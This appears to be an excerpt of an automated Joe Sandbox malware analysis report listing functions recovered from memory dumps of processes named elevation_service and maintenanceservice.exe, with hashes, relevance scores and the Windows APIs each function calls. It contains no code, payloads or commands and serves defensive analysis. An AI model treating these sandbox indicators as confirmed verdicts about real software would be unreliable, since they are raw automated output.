Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6ace8c27580d51c4d6788a91f16e1abf6f92432227aa06c17b5d7ed2c99a3de
Instruction ID: 378f2796b32eb08d801488e2b7f4dcc0232d3ae6142785d79dddcd81370c7609
Opcode Fuzzy Hash: e6ace8c27580d51c4d6788a91f16e1abf6f92432227aa06c17b5d7ed2c99a3de
Instruction Fuzzy Hash: 95726932528E0E8BCB2CAF589C476B4B6D1F795310F9C836FD846C33A6DE78954586C2

Function 0089CA20 Relevance: 2.2, APIs: 1, Instructions: 687COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f314e44e71bfe467635a20a0ad728ef6200802aa520895d640594c65b3759962
Instruction ID: 435514f7062a52ec1645c59b3fa99eadc6aa448b01a22f1a42f6dd23a23a02b0
Opcode Fuzzy Hash: f314e44e71bfe467635a20a0ad728ef6200802aa520895d640594c65b3759962
Instruction Fuzzy Hash: FE02052170CB4C4FCB69AB2C58552FA7BD1FB9A324F5841AEE04BC7396DD258C06C386

Function 008952A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 008953C4

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: 2a6c15edf7c8c9812c0b5dac075b320166582ad0e518f84b31c7f152f2ccffc6
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: B441E59150DE998FDF27736448642707BA0FB233E6F9D04D7D487CB2E2E1984C81A76A

Function 0089945F Relevance: 9.5, APIs: 6, Instructions: 476COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32a1346f689ca69e6c1817ad9c6502fc2abb1573d67bc5450444cb3875e0a70e
Instruction ID: 3b66abf7a193348aae3283a1fdeb68d7413b3dd9fbdace022b799ca7d4290d60
Opcode Fuzzy Hash: 32a1346f689ca69e6c1817ad9c6502fc2abb1573d67bc5450444cb3875e0a70e
Instruction Fuzzy Hash: EFD1393051CB48CFDF3AAB2C94516B67BA0FB66328F2C059ED087C7662DA298C41D353

Function 008B0080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 008B03E0

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: aae9ce643ec60b6bbaf6f3d4054fc9884d16932a80ec6400ece074ac0af679f5
Instruction ID: 10862f6c7573f2bb94b889e2e11751930e7895474883e20c8d50b6159cd23d34
Opcode Fuzzy Hash: aae9ce643ec60b6bbaf6f3d4054fc9884d16932a80ec6400ece074ac0af679f5
Instruction Fuzzy Hash: E5D1F231418F0D8BCB28EF58D8497EBB7E1FBA0314F18461FD846C7265DA74DA498AC2

Function 00898070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fb13a04a7e6046ff5e94998b1f76451cb875e9ea96bffb944b4f01765a37091
Instruction ID: 50381fc56232b9b84b3b167dc1d46417445747ac318a92d7b92f80656cb7360f
Opcode Fuzzy Hash: 5fb13a04a7e6046ff5e94998b1f76451cb875e9ea96bffb944b4f01765a37091
Instruction Fuzzy Hash: 2A61FF3160CE4BDFCF65BB6888186357AA0FB57354F6C025AE447C32A1DF349C499752

Function 0089872E Relevance: 3.2, APIs: 2, Instructions: 196COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 008987C9

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: adbb1face1e5ee7e72f77b9d0f087f771b3fd543e3cc8a97d35552ba232f820e
Instruction ID: 556a2fb10f1d8b52bc976f5df5dc464e9d1dd412a230197cbe1585497102d1bc
Opcode Fuzzy Hash: adbb1face1e5ee7e72f77b9d0f087f771b3fd543e3cc8a97d35552ba232f820e
Instruction Fuzzy Hash: 8351B23050C78ACFDF65AB689811375BBE1FB93318F2C46ABD096D7192DE358C468712

Function 008960F0 Relevance: 3.1, APIs: 2, Instructions: 100
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE ref: 00896114
SetFilePointerEx.KERNELBASE ref: 00896123

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: File$PointerRead
String ID:
API String ID: 3154509469-0
Opcode ID: cbc2541052c6c4d3f878d336b734c4f9e798dc65864beb8e7fadeedf304e376e
Instruction ID: 297df88ce19e60d71aaa68cb9d3437032f9b0a194aa32be2f4d0e0fd77f873b2
Opcode Fuzzy Hash: cbc2541052c6c4d3f878d336b734c4f9e798dc65864beb8e7fadeedf304e376e
Instruction Fuzzy Hash: 6821332020C64E8EDF697A289844B3A3A65FB91328F2D416FD447C2147FA29CC36A342

Function 0089CDD0 Relevance: 3.1, APIs: 2, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNELBASE(?,00000000,?,?,00000000,?,00899B29), ref: 0089D225

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 5d0fc6403e351e815543ce49452ed1ae3c45d62299d52813147e212a4f9c0176
Instruction ID: 044c4c8477ae4c0738b8f46bb0f3bd1f53e687af74e3f0c8608dd7422b88aeca
Opcode Fuzzy Hash: 5d0fc6403e351e815543ce49452ed1ae3c45d62299d52813147e212a4f9c0176
Instruction Fuzzy Hash: 9AF02222A4C309EEBE3D3348FC0A9763668F652734B2C029BF157E0413A896BC06512D

Function 00895910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 384e8f61db65d166d8c02f0d5f1707aca12a4f3125dfee385905d896a56423d5
Instruction ID: 4e0866edc23fb9f6775eb0b4f66c61101d2e65ceca0e8b619865e3fba4522355
Opcode Fuzzy Hash: 384e8f61db65d166d8c02f0d5f1707aca12a4f3125dfee385905d896a56423d5
Instruction Fuzzy Hash: 41F14A2071CE4C8FDB6AA71C68553FA77D1F79A324F58019EE08BC7396DD249C068786

Function 0089A39D Relevance: 1.7, APIs: 1, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNELBASE ref: 0089A5C0

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 6481628bd4199b2a9b78a87b4116708f0299d0a78705dbf8fde1743bdb7ac037
Instruction ID: 820222321a8fb7be1bf18c5d9104dcb612de316d0240b30276a60470c33cb129
Opcode Fuzzy Hash: 6481628bd4199b2a9b78a87b4116708f0299d0a78705dbf8fde1743bdb7ac037
Instruction Fuzzy Hash: 9E51282070D3898FCF2E7B685C596353BE4FB52714B2E01ABE087C7192DA598C05A3DB

Function 00895B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 091d7d921b4bd51d6447df8909f7bc09ad4070bea333eb4c4650e03260bfcc13
Instruction ID: 1f1fc768003e860bc5e49baf3f34d606b7aa48b54c72954de25b69e839a95820
Opcode Fuzzy Hash: 091d7d921b4bd51d6447df8909f7bc09ad4070bea333eb4c4650e03260bfcc13
Instruction Fuzzy Hash: DE21AC3020DF498FCFABBB28C8587746AE1FB5532CF6C05A69047CF2A6CA248C449356

Function 008994AB Relevance: 1.6, APIs: 1, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNELBASE ref: 008994B6

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0632bc79e136ee572d992be1ae0400c1ca55a9311295f46386f488bd51c3682c
Instruction ID: 52059b8d115f542e6cf886321f23ca524013b76e5158e33bc59a1c1c742028b2
Opcode Fuzzy Hash: 0632bc79e136ee572d992be1ae0400c1ca55a9311295f46386f488bd51c3682c
Instruction Fuzzy Hash: C011C42062DB88AFDF69AE3C441537A76D2F79A314F1C456ED0CFC3161DA258C058702

Function 00895B09 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: bb57c58341d69bf9b7931122a7abe8f11cf541355909bfcae94595946a5fef62
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: 6C01803010EF4E8FDFA776249C182797790FB5133CF2D01AA8487CA0D5DB644905A712

Function 0089893F Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c124238f25e20e1280168f06d8cdfd02d12cd4cdfd6c6e275a3e5effbad6204
Instruction ID: c92558c6b62720d6e4f96673fae9eedad7ccd4ff916272f21ebb05ee5ac04b27
Opcode Fuzzy Hash: 2c124238f25e20e1280168f06d8cdfd02d12cd4cdfd6c6e275a3e5effbad6204
Instruction Fuzzy Hash: 55018F3061D64BDFDF787B58945863ABBA0FB97364F2D060EC8AAC6195CF358C019642

Function 0089A5B9 Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNELBASE ref: 0089A5C0

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 676bef793c65ca7a3a2905c46ea0cdf499b25737fa985dc8724dd67d4e827931
Instruction ID: 7b6b87c8f845618614820090fad9f4706ae86f53b002c3142e2b3e96c9af305a
Opcode Fuzzy Hash: 676bef793c65ca7a3a2905c46ea0cdf499b25737fa985dc8724dd67d4e827931
Instruction Fuzzy Hash: 9301812060D7898FDF2F7A7049581793FA4FD2271472E1097D482C7093E998DC4587EB

Function 0089A697 Relevance: 1.5, APIs: 1, Instructions: 26
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE ref: 0089A69D

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1c644a7444de99faaf9beb18aa41b1298ace3a3379acb547bdc547acb6170779
Instruction ID: 1d349b0657004fe38bc9a984210d40a22e2cb28e1f69f5dfc5a137dc3ac0421b
Opcode Fuzzy Hash: 1c644a7444de99faaf9beb18aa41b1298ace3a3379acb547bdc547acb6170779
Instruction Fuzzy Hash: C6E09205B0C2465AEE2971280812F3A2D71F761718F2E016B92AAC10D3E839CC05A283

Function 0089A6FE Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNELBASE ref: 0089A6B2

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 4ea0f9c9bdbe6e5546db613517cf81bba5d0f193e3916aaffede43411c7aebb2
Instruction ID: c6f4c98942b8f7abb21fe9ec6d0966c774d9d982489de3fe3a120049e92ada28
Opcode Fuzzy Hash: 4ea0f9c9bdbe6e5546db613517cf81bba5d0f193e3916aaffede43411c7aebb2
Instruction Fuzzy Hash: EEE04F3421DA0DBF8E7DBFA8D4C203573F0F65475833D4A1A84D7C6504DA29E881A6D3

Function 00895B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00895B90
CreateThread.KERNELBASE ref: 00895CDF

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: 92eeed506218591947deb2788b9174a7c3b880090bf3a39faffa5ea594402def
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: DBE0863060DB4C4FDF5BAB2498103193AE5FB89324F1D01CEC44AD71D1CB6909058792

Function 0089ADA0 Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 0089AA64

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: da5683f38c54f8bb5f9849d6319a55476ffae2664003994c7d9a782ff50940f1
Instruction ID: 4f2dc86095476dfa925efec1fd0d9b8128fd7457ec91c330817dc4c4c5c0cc73
Opcode Fuzzy Hash: da5683f38c54f8bb5f9849d6319a55476ffae2664003994c7d9a782ff50940f1
Instruction Fuzzy Hash: 59D0A731B0CB2D8B6E2C76253B1013765D8F74871DB2C8039B427C5200DB14CE02D5C3

Function 0089A43C Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 0089A442

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 0b094c2f64cb0e8f9fe75c31e2921013c2dc688071b38801f72b066efe48bdc4
Instruction ID: 4716d74df0bc78d93a5de12ac43bfc47de58f8663ef0abbe588628e1bb9b2413
Opcode Fuzzy Hash: 0b094c2f64cb0e8f9fe75c31e2921013c2dc688071b38801f72b066efe48bdc4
Instruction Fuzzy Hash: CDD0A71471CA084B5D6DBF2C281E63C31E2F698705329041FA40BC3350DD78AD010AC7

Function 0089A72B Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 0089A6B2

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ba223632d412acbe82a57bd44cf25a201d048d14213655b287c31b5365f66b67
Instruction ID: aa69892d3e53ae034f9bdad00cf5e05303ba17b855077d2e63b15aab1c85e649
Opcode Fuzzy Hash: ba223632d412acbe82a57bd44cf25a201d048d14213655b287c31b5365f66b67
Instruction Fuzzy Hash: 65D0A72440D749AFCF2E6F79C8C1021BBB0FE2170431E4F5680D3C6815DD29E481A293

Function 00898762 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 0089901C

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: f9a72a88e2b11adae536adcf1c8ce94995d68f8ac2f58f186513529414979285
Instruction ID: 2957a5a8843bc2d72b56ba71e31c510933aac715efd19763ca5bb20263907669
Opcode Fuzzy Hash: f9a72a88e2b11adae536adcf1c8ce94995d68f8ac2f58f186513529414979285
Instruction Fuzzy Hash: 88D0C934608A6BE66F352A29540422667A4FF4965432E492D8CF3C9045DB2384116150

Function 00898DA0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00898DAD

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e3b49cd05f4e55328efdbc14981f8ccf5333abcdeb28f13d5537c96824725096
Instruction ID: 4840cc5d79fd89ec7075bd063a88dc1d302da2e57de8aac9fbb7e0b0fa42ec10
Opcode Fuzzy Hash: e3b49cd05f4e55328efdbc14981f8ccf5333abcdeb28f13d5537c96824725096
Instruction Fuzzy Hash: 62D02321209F5FCA4F51FE7C404407A1C53F9837407FD23565453C2164CD264C428202

Function 00899316 Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 008993E3

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: cd062ec8c4c2fbfa22eae465b1c97e1e259a9778fb078a9b0992bc5e6e8bc516
Instruction ID: c750c6cc01a9d23883f070ac59e3f558695d7af5e24d9118721dbdd3233ae23a
Opcode Fuzzy Hash: cd062ec8c4c2fbfa22eae465b1c97e1e259a9778fb078a9b0992bc5e6e8bc516
Instruction Fuzzy Hash: D8C08C24718502472D1A370C0C1E5793256F348B00F2C005DD0C7C1250C94CCC023242

Function 0089599B Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 008959D9

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: fb28c69da4d7310465d370fe73db05c917475b6175cdc8cc661b939dfc6a7344
Instruction ID: d441e254b495d976bd43622a6d819cca7cb085ff1e0e483fd6230873194a1c8b
Opcode Fuzzy Hash: fb28c69da4d7310465d370fe73db05c917475b6175cdc8cc661b939dfc6a7344
Instruction Fuzzy Hash: 8601D66060DE94CFFF17B71C60553797D92F794338F2C059AA08ACB192C9348D019746

Function 00898090 Relevance: 1.3, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00898186

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: 699cca085a1703f469e3cb66463c7a2c8f8dd9bca9f549f315e11d0cb0536dac
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: 2AC048A162D94BEAAE7936881C1B0B47A54F6037A9B1C048A9C06C1220EE5ACE4351AB

Function 0089817F Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00898186

Memory Dump Source

Source File: 00000012.00000002.2631731824.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_890000_elevation_service.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: 8747528884f426cfd8f6d1bf380858714dcc45cc47751ed77b5ac06a26daf70d
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: ABC092A065850BC75D3836882C0A0B17954F613760F0C4453EC06CA360DE598D4341A2

Analysis Process: maintenanceservice.exePID: 8180, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	97.4%
Signature Coverage:	0%
Total number of Nodes:	77
Total number of Limit Nodes:	6

Executed Functions

Function 00D152A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 00D153C4

Memory Dump Source

Source File: 00000013.00000002.1418833358.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_d10000_maintenanceservice.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: b8339507a9da0ed61246bf31768a0a58382b14701b730c0b261ca9fe92e993b1
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: AC41D65240DE95EFD72A422474642F07B909B923E2F9D05D7D4E2870EEDDAC5CC19336

Function 00D30080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 00D303E0

Memory Dump Source

Source File: 00000013.00000002.1418833358.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_d10000_maintenanceservice.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction ID: a9023ec146798f81d6280289a4ddc59252cc69d9d4d76a2b68926ee7b6c12d8d
Opcode Fuzzy Hash: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction Fuzzy Hash: 0FD11332418F0D8BCB68EF58D8557EABBE1FBA0310F18461FD886C7164DA74DA458BD2

Function 00D18070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.1418833358.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_d10000_maintenanceservice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction ID: e1a45aac2afc7136ac56e80e0c0b67bf01bca030fafe5c3004ddbb7bdfc51fbb
Opcode Fuzzy Hash: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction Fuzzy Hash: 9161D431A0CB89BFC766CB28B8142F56AA0FB59350F5C0656E496C31A0DF348CC5B376

Function 00D15910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.1418833358.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_d10000_maintenanceservice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: aef6b1c78a2fbcfdce190f84e779add133a5b2bdda092f92053a4324ee1a7821
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: 15F14A2171CE588FC769A71C78513BAB7D2EBD9310F5C419EE08AC3297DD289C4687B2

Function 00D15B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.1418833358.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_d10000_maintenanceservice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: 4c86106278348862c253c82fe5af4d018df292bc93bde574725a398c8256bd08
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: 2F216B2020CF45EFCB699E18B4487F567A2ABD5310F5C02A69487CE19ECE2CCCC493B6

Function 00D15B09 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.1418833358.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

